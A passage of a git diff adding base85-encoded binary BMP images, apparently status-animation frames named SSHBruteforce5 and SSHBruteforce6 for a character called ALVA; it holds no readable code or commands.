z>d~IAE3XF6%E7s>xfP|Po9v0m_QB-_h0C(=`8vVQN@pi$_^6p4KdJ?9t7i7!vA*0n zdAWB|-!hw#)>qp&9~zV($0V?~16<_iXP*zVR_2xP(K6MyPUYu}J*t?T+CG}uBZC6F zu7Gb7CuUG~ZUQ&i_-`=PmsTI_Za*%}(S?ZJ|LOG7b3|f-27}Y zD`Tj0_$_dlX)@@^$_eRNOQ#4Em%5OIERz83pTHxT4A^_(yH1aD@qFIct|zX_f15rv zASfFj5a)&(?(Evz-d=t^Gx6+kx<5{xT^MC(j5IJ-VHK=Qi3B6g+M9))&CTa^Pa+*W z3qryp5U2;&C|&feI~!UZpys^S=xo&uq!}S#Q$mSTRGvdfkzaItWPFhvO(#I5nL|?J zv-zCtk;hHrJao)er<=wBo8JzN4l=Nn%=IL}G1fVohS`RBtEN#);!A zDr*TnL3!r zY7wIn-@IO2SzLBBvQXp`S(tw_2Vx4090#Pn*IT){BMq%D1(>+=5;MV#7i0~Dc`NeE zHMT95S4~gtk$Vt0@aq1)wYq_q+381tKRVyh;m>@G-`mk`qNpuE%j%$QTAY&JUQueV zsAVRqlnKKQRF}49q$fFfLHVSRhUU*|t1_b#P35#9)Xa_s7Sp4XKMMZ8-#={vynfIV zSH?NR*N%_LTJ4d>H;+q7C+eD~1(-PsQ*$oPniLcz!6wkyHdk3YGrfNTdT{QT)b*@a zf|_TfZ|J=mpaU#y!T%v{qvQd=sP_&QJj_I zZe%M!$-;Au#@`8nHg{tE?zR{$H_Fzvs-z5z`R{N4C(!rTf0~(_dL_>wSXcLSo^r4@kb7O)P!-mZNz z7Z;r=P0tT@(?2BO=U72qpce=WT|osL%D=JwP4CNfFslK(`r?8uRG^0kKNFxIYT?~= zAn~+^LNGo`Tw;>+yoIURpy)y`P~SK4_RWe4r+8XsF<7dCnZC8}P0RBoYZEJ&sU2ts z9PexXH1lCrP%AMwQb|arqkpOC*#Zy=Ix#h)ScOCM?Gl(_Kk-6W$-PAdMLYmzt)wRq%?V1*$$5~g~PUtHbV{dQvG z5D0GX8y3F9(cOCC_xJBqIPLMO!m^IWR&eD*26$KbXMdfVtTL}if(bG*_h#;hG_<($ zY-lYqG+u#Ic=e-3_$VuwFY&Hk>LLomuXkQdtpn4}?(FKwXoMp0WKA#f{{CO}{uEGh zqvTj{P&ab4a9%tH>&27jctv=wupy=bQAo9nixNp-XMx~7}9gb}r zf{=|0OO$66IN09@V*i!kJXe4^AJOPz5>6XjUU&n!$y8iY1A=vQZGU3<0PX;nVCLCa zUH`a3A7wq$C?h(B^*ZIV&i=VQ67ZS+nRy5e8(0Gar9M&RkKuf*?5w#spAZ>Nk(uq? znS+yseNuTz72~zLO;z>3sLw}P&)NlR7H2&xRX&NOmAA78B+#24)*et%d9Z-{53>S& zz_2LFz!4Ri@aBXxe?*!bn-rvZ5Qg^qMNm-T9IT)gScS@P3Ah+qY#*M?ACnq7``Esx zeAd(sivGh#2{Di38g1X~5>R7fdrw0^+E7mO0BlE`BcRU53V^`JL=ZX_l)c;9?*78z zv8I?B(#q+gUj+WTjyc)i-8Yg`cd_#X8{mtp8%FZ#a@<1a|0@36tU%44_7}Xg%qTmT zox`JoiaHT0&X;57-G}~ll<)2aTP%>n|eL9Vys z#Y1{FcXPYNl{G~H+3bY0^EU-*e)4g)<|4SGOmt0`R@QYTl;n7YUQN6t3;g)t`;#Uw z!1}KH#s-Gvcmxe)G&RKK5mqjssb4wK{zRJ(W`X6vnpIz1%~V}akylJ#N_Fw|h5w=B zBCPKJFWTC# YtPebSc>yeE$j3Qj^sMsP`O>BT1#fPDX#fBK literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce5.bmp new file mode 100644 index 0000000000000000000000000000000000000000..a47321891dcb284824ca1c75794c9a9b96e5431e GIT binary patch literal 18462 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 KOgdk=@_zy0siRl` literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp b/resources/default_config/characters/ALVA/status/SSHBruteforce/SSHBruteforce6.bmp new file mode 100644 index 0000000000000000000000000000000000000000..b68803ad8ce1bbc8dceca07f4140ba2d711b707a GIT binary patch literal 18462 zcmd^`cU)9Sw)mO1`*vq%XWq={IHMzq3P{dK?54>ybdx0KC>hBanoiJU$)MycIZ0N@ zDk@0MNfadqku3D9?sjX-KYWP5L?BSeFNY8W@*DYBB0~NI6=DA(zg+#B3&Gcq z*MKJea5rI8RK)*pjz5KUf1kL&N8I1p-&xz+nE$XgwYxmBv)H#i-@P^4u`~N@d!}vc zZQJIX$6Ie60oi=>Xk+@(=JcbDH;*^pJlT9pD&3xWwl(`=YrcDDv43Y}ba(C5-sZyo z?t7q?NYcOm$4&CNtowUAyPHc}%VV2w+SVp(*M^JM`m^8lrmc1-u5`t(bjAT$ei66a z5x?3QztVM^B%OCY%8NTIzmjEAe*6lk+#U}u0SS_TobII6p7hoJoYmoywTb&1Z=Y?h zOzv*3?C*d0Jnqk8-FY|texiD{KV!K&VHH4h-&yTSTqSia`4>r9=}vyvm$osOvDTly z(w*|IH+2`gWtn_ESpM0>h zKKB{8CuiN?+g=?iSa}h(3P5{P-huA-rjgDhNjZ?6(X55%cLpj$rdndQ#OL?oI(k8$+2B^-%*=q05~q+rwF)h*aUDkOu}RCk+okzq8U2u{vJ! z89se-Rw9U?cQ4n*D^~k5S9-wEC%o%Pd&5_LYev+lv2T3LbveuurHIms^6=nq&6*|u#e3@1LDtk?=`{qz4Y4Awn0pJo> zUL;WLy401l(wDV1S+lb~`ya6@rIG#pz1@wu?WN(3w{7c_b?-+?-VJ1v4BVZxJDQ#w zc$1HYDLOH$y0bqizfSU+x~>p(`ceE+XVOet{Oi`Z>DIWnZMT7$2dctk7-MXf-NmQ7OT9ZQV>_FRpJ7o-pFhX0za3J5y|=Tz zx3vO>dwXSUY2v90pOBkNQt87z0=~=Lwn|eHOaIpk2qsQNwrlXKoYM5{K;Tz7lsWh$ zE;BRyo!(F(!riVWIH<3pdB;%8!%A6xbG~J3o4vA!AV<;U|AmlT6O?201nGEZee$#0rF z{?|W`m9heMwzaE?$O(K$kGRaO#s<~mlGNl9S7#Tw&Mc_F$S2RhD@VsAOUofk$AO^d zl4syiWad+55maRpQDYZXXA`~7BqVm0h2<-1b0xjpge*%{1Ny(6SK>#Rs8kp#+EB2E5X0tiX7@00=?H3E<>t zIc2YK$XsTZqG5&pNDuqzDww%suCU3{vcqXPc)z0&zrd`)DWt^>(cpl>uW-PAVh}yY z1Uq|G`ZA}?6&^8a7IA78=_}mg)XcDRjNq%#8G4?xbY502D@)7AH0__qy0N}tjL;A} z$E?dG4zK_pf{qJG4}@FcDi1iz(sD{&WaImW=Gxb^JYQWF`0lb44I3B?*f}QFzn?c3 zm2^{9bd-~GK_H!Ek?u-LuJTBCd88{6=^zJpS5|P5M>xpIcq%En$s^t5<&6bJjRb^w zzq^2U^8WDQ1MwI$)@QSl-DYuaF(*DX!q>m9sJuL%{KrL!^So|KcJ^`>LZ?}|{z(J*k%8kY8iv382tCgn<>HYW8k!Rn z?bbz>im@&U31<3IPw4xy%8lC9%p~<>o&{$M~1Cy#I5B z?QcILXhpC(UjF*N1VfCsnv?8hh$52&(_ep?4 zvhvn)3I@Uw+5%!$a!N*`aP@0YbGW=E9BCnoydf?N{D%D>=e5NY=iZW6+#>_`53nYN zL_@FgJ(`-X?c8>;8Rh$40CAa1k?|UcMUH=55IjRKevy^?Ya0Gj%pyN?(^H+1ql4o0 zQFvV+jBOakGSFYo2czSOH}H|A6V??_#Tobr{>UNE$my@EZV#7nltbFXkq$BlducgG z8HAHG++Iq`L0Z}wj&PKbbA%(DW#yb?WO16R*5c9}fBz{O7Ya;!^d$9ptoy|6&23`^ zbzgMYD3SPJaG!wNk)+drouLys!@&9F1&)8vuzz)d{mb)W)O_9=t_DJCLO-&jwLSgx ze6ZFb=)gj>UoO@v7-#B-(?_`~**eNw2buaA32RASV0KnO1Y&IR%Y9RF>{7BFQ?eY= zvfZ-s@OO&>^NI;s`JNfMu4y?S-##tV(?vzuO-@$+3Y&$Z{@&i+(VqNytVH7K(yE3C zG9kTWcy})4nSkEaWIqQJXK86I4gn=jv5#(iIPd4OZf|Z`T-Voz zYnUqPb9{AyKG-2`<6} z0?;CCa3MCd7>`cJ==oxFeDHcGFLf7z(~P!~GB_vGmY4q3eRiF5spFdslRHgaGZjf0 z*zA&!p_TjN+x27HEuD**Et4Mc;m&~7L_kD>hT~wlJ&g8qS%JPVFMnF9Z(0BH6ZbcC z>|b4C{rg2zsE)rO8msH&h_D2%3k(KkB8;vV8dy%(2kViD2`R<~7GOz6Ed;C>3a(QO zTH6b2d&>`%CQ2haRs~xZ!SS=dgs+-ztEUSz0bTIaHGi&M2n*2~dw$s?V znpfGSm0O5$k(0B6iHZNrl#`Ho7$qhD53oKguVek@g1`?f=HmLS|Gc2aiSReTV6;6k zI$n6-t~%Zr6F;<1imz=LR?`D(9SY0|KyiRIFdrM3hYiXnnKq;dPsqiX2cq%WelgWZ zL3LF&Zu{$swe8_e6CRU04LvjWw4}uY18v_DTc$rWVZ6=tkdl2%Rg=39t2?zzAG&#{ zsoF_MN?%~aJNW$DSbLsz@=-I`!cD!@ogrsAywzQCx+she3ajIT)$+m^V$t{lBy)+!_X!K;!uH}tg z>x|>$d8gJ{r zy-A1{9(JC`Umt_j_r)0dVYIz*hB&g*7UL~LvEC_Uqy8GVfP_vK()vo4kF0>3JS~%k zC#VQ|iQh(C{3cQ^2xS+FvJFMqgrKZ}g!$TpqO3xFEkn>2p*ZUh99W+%!w6PRMruw7 z8A}l{$f-*S!7+gKupPz8?Yg_OyR*Hc!Y8f8qew8oqD}pMebcb|XpCdDZ*UPhxESx1 zg7MD<)*{(2-~bV%flC(w6N1H+w8RFG1QT3? zN1Q&&zt#Gu&xr0mtDl|L_D zfifKl1rrf1S4BHFB?r8Y59a1AU{^G7Lg2K(MM-}9f2`P`V*l_;LPQl1d_)B{xEM@8 z{*hJwk(D5g4KDGEsPqr7@{gzllQ5aS$Ty$}7g|n;stO=UbwG3_0Z3F8!7)0(2um=+ zg_#E_GKizCU5~)}WYGzI7(}YAhOq`0BFMxK3zkwXFYL{542hNEmcV8d*Cm+~8&rY` zD$%>{AbU+o5vF6L?cw8}izeh+n4ql9@qo+|ovx?qC=bz+y{2rc=Zy_51J(sr2gdd# zkOa5__=*ZD@D0cX69bs)(OO<$$0BBlXJ^_WeuzP_qwZZWZz!})aKcYG`u1CvxGM%td}3K4p1UNjMiGBDo1@z=f3u#MTDI-4BSa#e|l56AFERuY?p~ zEQ3i~6m4&C?+ZK2l^&Hqf;h(Gh|glBTvU};0z1dyr-#CUl~vmZ>z?2nR1_Ff6QAA~ z5mDgh6NB*x55V3Di!2R^D6-af<~z$`Zios*rQyv8j+(C5Igv_Swu+qQYP3X3TZxmDngj>EX$^7D<4j4p~xZvqaF3M#}oMBy}j@CImZYNCwv?tcr&wS}oWFmZ7^^HHrVfqH@bk|N2rIQR^0K$Y2ZWd5aoK46U2IsHFdZ~D zx!BVUC&dnK2zBjEoZM`DtaWX4WK{IvT45pSQK=0W-*lX9WS~Wm2}Dzvnl&#WbEv!j zckfw$Jq*WVrOe`e9o?+oQ?q|XBlrWeJUxtHN3KuY-NhlkkK93 zA`a~k%bL4$DqCxxcJ(i;yja{XYg~$s&lhJF@pSgPmC}GgrDF9^Vn1^WpJ8YC>rWz= zIcKM5NHj-2dO5&79xGYh{)gS&jOawc^K4csj*cp>XkDzocbb!16#rT1-HM5lYGP{Y ze*Eo6l0u@)Ur}>?cSRGaS=!V+wnt3LDVO3By%m`k9-fKdl~jXiszB6~Ac)(EWjO3@ zX>PHS#^)nD#Ejy4d6*pg*EG!ETu_oxNKPF{N#3h!BE}>><~t|ggU`Ub-0{}*ankTK zk~I^#%vD`je!y{@#IadP%E%MJ?Z9xJvn(DCQT`rD1dkLYacy})o94m&$K!i>6=VEY zc;Os^&`a!B|LY75)jyE}(ruG7!`u6bS*2YJ-y{2h}IF2?X!-n>X;> z)QrU$cMrOB98gf_M6AE)BshApouc>fOb8Axkz^9rM+SGy6Nf$!{rqAtQ+=b%DKHoF$L`rZ?}mq;?OMtm{5(X+JOzeXI{Ci>%|FH(IC zF1bYYoeYx@oJENCzrRn&C>i-cY#rN2^4TasRYSw?+1(6bJWZVzbsO~Mu>H|5-Tdw6 z30W!Xw>G!DOzog_LWEnzVvJ%&O3^RoiTxWyM{6`a)oJ=K&M^M>PkK_y+F}YX;=CZ4(0m z?f^s5|JNBiP1Cj2cMG%gx}u5+=@kR(L@*d6&;?@mN8J7H`H!qG=Jp3Sh&Wt~y|(Gb z`}OIUuhn4)poH=7XOpt;0oK+LqMU%ElDIm8|GKZG6R8g;Sym7F{JE^)ZYL=?hVy^u zxxZ)7L&Q9NP3(P7Z0Mg9V;BC3>Mu?@X73i4yIR{k%spDir@NOwf>Kz!=7|8b>lapF z-QE>qZTqmdrN_&m;knmuHDPi;QhlK!dj08}Rg&61B9hmY=SN2F(+u}=iVymJ(!^)6 zE-fs%8ri@uaIk$zO;7c`u5@h62(f2qaPP>g;_-GAczr zI`ABDX<{e&3=))d&k8ZCv=QTkvs5w=zQSg#ZTfIvw10EIZ)30KDG|x#Mo;xESnk9w z^8~tKKoFf26x2ThCLF5D}+Pkh)ztRLJiX&NtX z>U;8Lt#_T+y-EbQeL&Vo(*K^=w@MN)C6O|LfC{TbV0%!xWpbh5VQ*RM%f_Mox(;GN z4KXwSLwL}8IEytM)pyK)J8!^;;5>8bQGFBW`+sC^sx7UOzH%+b+RIQ7DSn=d_d6zm zAH-l6_2oD`)nG9u*Gue7pZK_p24JVdf@Wi4mlKlTr)F+s=56N`?&Oy2-Ywn9DcQMO 